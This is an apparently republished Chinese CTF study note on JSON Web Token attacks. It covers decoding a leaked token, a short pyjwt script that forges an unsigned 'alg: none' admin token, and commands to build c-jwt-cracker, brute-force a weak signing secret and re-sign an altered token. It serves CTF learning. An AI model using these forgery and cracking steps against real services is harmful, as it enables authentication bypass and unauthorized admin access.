当前位置:   article > 正文

CTF第十五天_gz ctf

gz ctf

JSON Web Token


关于JWT,下面是一些资料
添加链接描述
添加链接描述
简单来说,就是身份验证的payload

敏感信息泄露

1.随便登录一个账号后再网页工具的“网络”查看token
在这里插入图片描述
2.解密
添加链接描述
在这里插入图片描述
3.将上面和下面拼成flag值就行

无签名

1.在pycharm中加入pyjwt库,下面是安装教程
添加链接描述
2.运行以下脚本

import jwt

payload={
  "username": "admin",
  "password": "admin",
  "role": "admin"
}
token = jwt.encode(payload,algorithm="none",key="")
print(token)

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

3.得到payload后,登录,抓包,修改token即可
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

弱密钥

1.安装工具
网站如下
添加链接描述

命令如下
apt-get install libssl-dev   (1)
git clone https://github.com/brendan-rius/c-jwt-cracker (2)
make (3./jwtcrack +登录获取的token  (4
  • 1
  • 2
  • 3
  • 4
  • 5

得到密钥
在这里插入图片描述
2.对原本的token进行修改,再重新加密
在这里插入图片描述
3.再登陆一次,替换token即可
在这里插入图片描述

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小小林熬夜学编程/article/detail/559856
推荐阅读
相关标签
  

闽ICP备14008679号